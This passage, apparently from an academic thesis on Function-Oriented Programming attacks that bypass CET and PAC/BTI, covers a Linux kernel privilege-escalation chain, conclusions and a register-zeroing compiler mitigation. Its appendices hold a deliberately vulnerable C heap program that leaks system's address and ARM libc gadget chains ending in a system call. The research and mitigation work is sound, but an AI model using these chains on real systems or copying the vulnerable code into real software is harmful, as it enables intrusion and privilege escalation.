 Before the dissection of the final capabilities, an acknowledgment of the primitives is 

necessary. This research examined the FOP primitives within the user space Libc target above, 

resulting in the omission of a full breakdown of primitives for the Linux kernel section. As the 

flexibility and variety of the primitives is directly correlated with the number of gadgets found, 

having a larger code base implies the same or greater magnitude of capabilities when compared 

to the Libc primitives. Given that Linux kernel contains nearly ten times more gadgets, this 

research surmises that sufficient gadgets exist to demonstrate the same primitives as identified 

above. One additional aspect to note is that even with the larger number of functions and 

potential gadgets, there was no identification of gadgets that allowed for the ability to utilize a 

value stored in RAX. This limitation exists within both the user space and the kernel space for 

Intel systems. 
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 As for the final demonstratable kernel capabilities, Figure 28 demonstrates the final FOP 

chain utilized within the Linux kernel resulting in Linux privilege escalation.  

 While this research has briefly mentioned the vulnerability's details, this paragraph will 

now provide a high-level explanation of the exploitation technique. Given the vulnerability 

enables a memory corruption through a heap overflow, it allows an attacker to gain control of a 

“msg_msg” structure, leading to the leaking of the Linux kernel and the kernel heap address, 

bypassing KASLR. This then leads to the ability to overwrite a “pipe_buffer” structure along 

with the “_ops pointer”, leading to an arbitrary function call with register RSI pointing to 

controlled memory.  

Figure 28: Kernel FOP Chain in Memory 
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The original PoC used this technique to pivot the stack to RSI and start the ROP chain. In 

this FOP example, a pivot to a FOP dispatcher occurred instead. The issue arose that there was 

no identification of an RSI-originating FOP dispatchers during the testing. Bypassing this issue 

required the use of the pivot gadget from RSI to RDI as identified in Figure 29, which allowed 

for the use of the dispatcher identified in Figure 27. 

KERNEL 0xffffffff813aaf00: 
   Results: 
   ... 
   RDI: 0xffffffffffffffc8 + [40 + RSI] 
   ... 
   Symbolic Target: 
            [16 + [0x78 + [40 + RSI]]] 

Figure 29: Gadget of RSI pivot to RDI 

 Once the dispatcher starts, the normal process of kernel escalation begins. The FOP chain 

demonstrated uses the fact that first argument control in a call to “prepare_kernel_cred” with that 

argument being zero, returns a copy of a kernel credential structure. As found within the Intel 

space, no gadgets exist that contain the ability to utilize a value within the RAX register. In other 

terms, the kernel credential structure created by prepare_kernel_cred returned within RAX is of 

no use. Luckily “prepare_kenel_cred” has a side effect of storing the “init_cred” structure in the 

RSI register after the function. Moving this pointer to RDI and calling “commit_cred” allows for 

the FOP chain to set the current privileges to root, completing the privilege escalation.  

 To conclude this example, the last capability created is to successfully return to userspace 

as an elevated user. The ROP approach to returning to user space is to store a save state in a 

controlled stack and return using kernel features designed to return to user space. To stay valid 

with the shadow stack specifications set forth thus far, no modification to the stack can occur 

during the attack, making this approach infeasible. There are two approaches a FOP chain can 

take to return to user space. The first is to design the dispatcher around the length of the FOP 
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chain and to safely exit after all the privilege escalation finishes. This is possible as the kernel 

will perceive that everything has run correctly as no modification has happened to the stack or 

memory space. This is the preferred method, but as the utilized dispatcher gadget used R12 as 

the counting mechanism this is infeasible. This can be determined through testing and by looking 

at the dispatcher in Figure 27 and identifying that the R12 register is set by RDI and RSI. In this 

case, the dispatcher’s RSI and RDI point to controlled memory resulting in R12 being an 

unrealistically substantial number to iterate through. The second approach is to utilize the 

telefork technique. 

 The telefork technique, as defined by Kylebot (Kylebot, 2022), is a relatively recent 

approach specifically crafted to facilitate a return from the Linux kernel to user space when 

traditional return methods are not viable. This technique operates by invoking the fork system 

call from within the kernel. Subsequently, this action spawns a second thread within the user 

space application at the precise point where the exploit had initially left off. Meanwhile, the 

original thread remains within the Linux kernel and is set to wait indefinitely through the msleep 

function. This arrangement results in the kernel thread ceasing to lock and creates the appearance 

that nothing has altered from an external perspective. As these approaches are only normal 

function calls, they are a prime target for FOP to use. This final aspect allows the FOP attack to 

successfully return to user space resulting in a successful Linux privilege escalation made 

possible solely using FOP gadgets. 
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CHAPTER 5 

CONCLUSION 

Intro 

 FOP has demonstrated its potential to replace conventional code-reuse attacks in 

environments that have modern CPU-based protections. The capabilities of FOP have stretched 

from Intel to ARM and even within the Linux kernel. These capabilities all converge from the 

artifact of this study, the FOP Mythoclast. Overall, the functionality of FOP demonstrated in this 

research leads credence to its possible application in future scenarios.  

This concluding chapter will summarize all the contributions put forth by this research. 

These contributions will lead to potential future work within the realm of FOP to further develop 

its related body of research. Lastly, this research presents a discussion around potential avenues 

and mitigations to limit FOP. 

Contributions 

 The contributions produced by this research are severalfold. The first is the capability to 

identify FOP gadgets with the use of symbolic execution. This contribution paved the way for the 

creation of the FOP Mythoclast and further enabled the first demonstration of deterministically 

identifying FOP gadgets in precompiled binaries and libraries. This contribution is a major step 

toward the ability to automatically identify FOP gadgets and their utility, as employed in the 

subsequent contributions below. 
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 The second contribution is the demonstration of the ability of FOP attacks to work within 

simple Linux environments. The definition of simple environments are those that only use Libc 

and its loader as mapped executable pages. This contribution involves two main aspects, the first 

being that Libc and its loader house at least one reachable FOP dispatcher gadget, and the second 

being that Libc and its loader contain sufficient FOP gadgets to carry out arbitrary attacks against 

a system. These two aspects together summarize the unique contribution that this research has 

demonstrated via proving FOP possible within simplistic Linux environments. 

 The third contribution is the demonstration of functional FOP attacks on ARM systems. 

While a demonstration of FOP had been completed within a unique environment in the past (Guo 

et al., 2018), this work further develops the state of the art by demonstrating FOP functionality 

on an ARM environment. With the similar, but not identical, CPU protections between ARM and 

Intel architectures, the demonstration of a working FOP attack within both environments is a 

necessity to fully showcase the versatility of FOP.  

 The last contribution is the demonstration of a FOP attack working within the Linux 

kernel. This demonstration displays the ability of FOP to work in complex, real-world 

environments, and helps solidify FOP as a powerful potential technique for future exploits in 

modern environments that limit ROP and other code reuse attacks. These contributions combine 

to satisfy the guidelines for this research to demonstrate the usefulness and capabilities of FOP.  

Future Work 

 This research has demonstrated many aspects of FOP-based attacks, mainly involving 

FOP tooling and implementations within Linux environments. As the attack framework expands, 

the ability for it to demonstrate capabilities on diverse platforms becomes important as well. This 

leads to the main future work of demonstrating a FOP attack on a Windows environment. This 
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was briefly explored with the implementation by Lan et al. (2015) with their LOP approach 

within an x86 Windows environment, however nothing beyond that.  

 The ability for FOP to be expanded to a Windows x64 environment could lead to possible 

research into the ability of FOP to bypass Windows CFG protections (Alvinashcraft, 2022). 

Expanding on this could lead to targeting the Windows kernel, as it is a large executable similar 

to the Linux kernel. The demonstration of FOP within this new environment would further 

cement the capabilities and usefulness of FOP within diverse environments with protections 

designed to stop code reuse attacks. 

 Another field of future work is the continuous development of the FOP Mythoclast tool. 

While the tool is working and can identify FOP gadgets, the addition of new features and 

improvements could further assist exploit development. One such feature is the processing of the 

Z3 output structure returned from a gadget. Another interesting piece to examine would be the 

ability to automatically generate FOP chains with the tooling. It should become possible to 

identify a process to create automatic chains for use in a FOP chain. Lastly, a novel approach to 

identifying FOP gadgets could better streamline the enumeration process, or better handle edge 

cases where the current symbolic framework struggles. These are a few of the possible lines of 

effort that could improve the FOP tooling and its capabilities. 

 A last possible field of future research is the inspection of the incorrect incorporation of 

ARM BTI support at the compiler level. As identified in the ARM section in Chapter 4, there is 

an incorrect application of the BTI instruction at the beginning of global functions. An 

investigation into this could uncover opportunities for further research into incorrect compiler-to-

hardware mitigation implementations. Research into this capability could also lead to further 
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refinement and methods for dealing with the inclusion of necessary instructions needed for 

certain protections to run. 

Limiting FOP 

 The design flaw that permits FOP to be functional is not fully securing the path of 

execution. While the full solution to this problem would be strict CFI or the ability to only follow 

predetermined execution paths, this becomes difficult to truly implement, with most solutions 

becoming a coarse-grained CFI implementation in order to support real-world software (Cheng 

et al., 2014; Garrison, 2020; Mujumdar, 2021). These coarse-grained implementations provide a 

good starting point to build upon. As seen by examining the coarse-grained implementations in 

this research, CET and PAC/BTI. However as demonstrated, FOP still bypasses these 

mitigations. The best theoretical solution is to implement a working CFI framework into the 

system that directly identifies all correct pathways, to mitigate the chance of memory corruption 

attacks becoming full execution on a system. 

 However, there should be a simpler solution to limiting FOP that does not involve the 

creation of a full-CFI implementation. A possible solution is to implement a compiler patch that 

will modify the code in a way that could limit the possible use of FOP attacks. FOP attacks work 

on the intended behavior of functions and utilize the remnants of pointers and values in 

parameter registers after a function has finished. It becomes possible to clear these parameter 

registers at the end of each function before a return instruction. This is possible since these 

parameter registers are usually within the non-protected register range during function use. This 

holds for all the registers except register X0 in ARM, which is both the first argument in 64-bit 

ARM systems and the return value from the function. In almost every example demonstrated so 

far, all FOP attack examples have utilized at least 2 other registers for a successful attack, which 
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by resetting or nulling out the top three unused registers at the end of a function thwarts this 

attack. 

 In Intel, this would be the registers RDI, RSI, and RDX, while in ARM this is X1, X2, 

and X3. Using a custom GCC plugin this approach becomes possible to compare to the original 

gadgets identified within a Libc library. Table 11 below examines the relationship between the 

number of FOP gadgets found in a normal compiled Libc and one that includes the potential 

patch. 

Gadget Length Libc 

Unpatched X64 Patched X64 Unpatched ARM Patched ARM 

15 1426 370 1348 86 

25 2765 835 2161 226 

50 5438 1261 3298 448 

Table 11: Examination of the gadgets with and without patched functweions 

 Using the FOP Mythoclast allows for an enumeration of potential gadgets from the 

patched libraries. As the process of patching the libraries to zero out registers still produces a 

potentially useful function the FOP Mythoclast will normally categorize this as a possible 

gadget. To combat this, the FOP Mythoclast employs a second parse to remove any gadgets that 

contained all three modified registers set to the value of zero for both ARM and Intel 

architectures. This is a heuristic based on the belief that a gadget that corrupts three of the 

parameter registers has a low chance of a being in a successful FOP attack. Unfortunately, this 

has the problem of removing potential X0 gadgets from ARM and memory gadgets from both 

architectures as well. 

 The data in Table 11 demonstrates that, with the register-zeroing patch of GCC, the total 

number of FOP gadgets decreases significantly. While a large number of FOP gadgets still exist, 

finding useful gadgets is much more difficult. This research has ascertained this by examining 

the resulting gadgets and confirming that the majority of the gadgets used during the PoC phase 
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of this research are no longer usable for a FOP attack. However, no impact occurred to the 

utilized dispatcher gadget and it is still of use in Libc on both architectures.  

Conclusion 

 The popularity and efficacy of contemporary CPU-based hardware protections have risen 

greatly over recent years, in order to deter  and greatly limit the functionality of existing code-

reuse attacks. However, as shown in this research, the use of Functional-Oriented Programming 

(FOP) bypasses these protections in both ARM and Intel contexts. This research has 

demonstrated several aspects of the FOP attack framework, including approaches within several 

environments and architectures. 

 Before a full examination of the potential for a FOP-based attack, an analysis on the 

ability to identify FOP gadgets reliably and accurately is a requirement. This necessity led to the 

creation of FOP tooling known as the FOP Mythoclast. This tooling, through the use of symbolic 

execution, facilitates the identification of FOP gadgets for use in FOP-based attacks. This 

research designed this tooling to be versatile and to operate effectively in multi-architectural 

environments, primarily focusing on ARM and Intel. Further refinements to the tooling enabled 

it to work on complex binaries such as the Linux kernel and to successfully identify FOP gadgets 

in complicated environments. This tooling was the backbone of the FOP attacks explored in this 

research and the ability to successfully create working FOP attacks in general. 

 This research successfully demonstrated that the FOP attack is possible within both ARM 

and Intel environments. Both architectures were able to demonstrate similar primitives within 

basic Libc-only environments, showcasing the ability to execute custom shellcode loaded into 

memory at runtime. This demonstration allows for the execution of a multitude of attacks solely 

through the use of FOP gadgets. As discussed, this attack is only possible through the use of a 
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FOP dispatcher, and this study found that these dispatcher gadgets were present in all tested Libc 

versions. These examples demonstrate the ability for certain memory corruption vulnerabilities 

to still lead to arbitrary code execution while modern CPU-based protections are fully enabled. 

 The final demonstration of this research was the utilization of FOP within a kernel 

context. The employed vulnerability allowed for the exploitation of a memory corruption to lead 

to program and memory control, proving the ability of a FOP attack to lead to execution within a 

kernel context utilizing FOP gadgets and a FOP dispatcher. The FOP Mythoclast demonstrated 

that numerous FOP gadgets within the Linux kernel could lead to system compromise if used 

during an attack against a memory corruption vulnerability. 

 In conclusion, having met all the goals identified at the beginning of this research, this 

research has successfully proven the capabilities of the FOP Mythoclast and FOP in not only test 

environments but real-world cases as well, offering a rich new framework for exploit 

development in the age of modern CPU protections.  
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APPENDIX 1 

#include <stdio.h> 
#include <stdlib.h> 
 
char *items[10]; 
int sizes[10]; 
 
int get_int(char *s){ 
    int i = 0; 
    printf(s); 
    scanf("%d", &i); 
    return i; 
} 
 
void create(){ 
    int i = get_int("Index: "); 
    int s = get_int("Size: "); 
    items[i] = malloc(s); 
    sizes[i] = s; 
} 
 
void edit (){ 
    int i = get_int("Index: "); 
    printf("Data: "); 
    read(0, items[i], sizes[i]); 
} 
 
void delete(){ 
    int i = get_int("Index: "); 
    free(items[i]); 
} 
 
void print(){ 
    int i = get_int("Index: "); 
    printf("Data: "); 
    write(1, items[i], sizes[i]); 
} 
 
void print_menu(){ 
    printf("Menu\n"); 
    printf("1. Create\n"); 
    printf("2. Edit\n"); 
    printf("3. Delete\n"); 
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    printf("4. Print\n"); 
    printf("0. Exit\n"); 
} 
 
int main(){ 
 
    setvbuf(stdin, 0, 0x2, 0); 
    setvbuf(stdout, 0, 0x2, 0); 
    setvbuf(stderr, 0, 0x2, 0); 
 
    printf("Hello World: %p\n",system); 
     
    while (1){ 
     print_menu(); 
     int choice =  get_int("Choice: "); 
     switch(choice){ 
      case 1: 
       create(); 
       break; 
      case 2: 
       edit(); 
       break; 
      case 3: 
       delete(); 
       break; 
      case 4: 
       print(); 
       break; 
      default: 
       exit(0); 
     } 
    }     
 
} 
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APPENDIX 2.A 

gnu_get_libc_version MOV X0, LIBC 

__gconv_release_shlib MOV X2, X0 

__gconv_compare_… MOV X3, 0x0 

__getpagesize MOV X0, 0x1000 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

pthread_setcanceltype MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

pthread_setcanceltype MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

_IO_default_read MOV X0, -1 

__deadline_from_... ADD X2, X2, X0 

_IO_default_read MOV X0, -1 

__deadline_from_... ADD X2, X2, X0 

_svcauth_null MOV X0, 0x0 

__deadline_from_... ADD X2, X2, X0 

system SYSTEM 
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APPENDIX 2.B 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork_... MOV X0, LIBC 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_barrierattr_... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_barrierattr_... MOV X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_barrierattr_... MOV X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_barrierattr_... MOV X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 



 130 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_barrierattr_... MOV X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_barrierattr_... MOV X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_barrierattr_... MOV X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork_... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__mq_nofity_fork_... MOV X0, LIBC 

system SYSTEM 

_exit EXIT 
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APPENDIX 2.C

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__libc_current_sigrtmax MOV X0, 0x40 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmax MOV X0, 0x40 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 
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__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__libc_current_sigrtmax MOV X0, 0x40 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmax MOV X0, 0x40 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 



 133 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmax MOV X0, 0x40 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

